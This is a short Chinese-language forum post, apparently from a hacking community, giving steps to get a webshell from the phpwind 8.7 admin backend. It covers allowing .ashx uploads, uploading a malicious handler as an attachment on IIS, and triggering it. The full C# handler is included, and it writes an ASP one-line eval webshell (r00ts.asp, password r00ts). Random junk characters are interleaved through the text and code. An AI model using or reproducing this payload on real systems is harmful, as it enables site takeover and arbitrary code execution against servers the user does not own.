phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
% N4 L3 X& ]( w4 q8 S0 i( L# \; a
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

$ h- x) k: ~" E) g3 k- Y; \然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
) [# K* j2 h% I- H0 S) J
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:
5 m6 [. k! V2 ?) ]
6 Z9 F. R, j3 g( X6 m<%@ WebHandler Language="C#"Class="Handler" %>
using System;
: B/ G! u/ M3 W  fusing System.Web;
using System.IO;
) h/ ^) C- B" V* B; x2 Hpublic class Handler : IHttpHandler {
8 J# p# l. z! b8 o6 U- dpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
$ T5 Q, Q# J* Q/ T* D* I4 p; mStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
: e5 P4 g. y, v5 }; \file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
6 o; \: Y7 h/ ]5 c( O  |file1.Close();
; z/ a2 J5 }1 d0 [' y}
public bool IsReusable {
get {
* U4 H) h! V' y' Ureturn false;
}
+ ]2 K# [/ T& L}
' ~* \# y8 |4 e}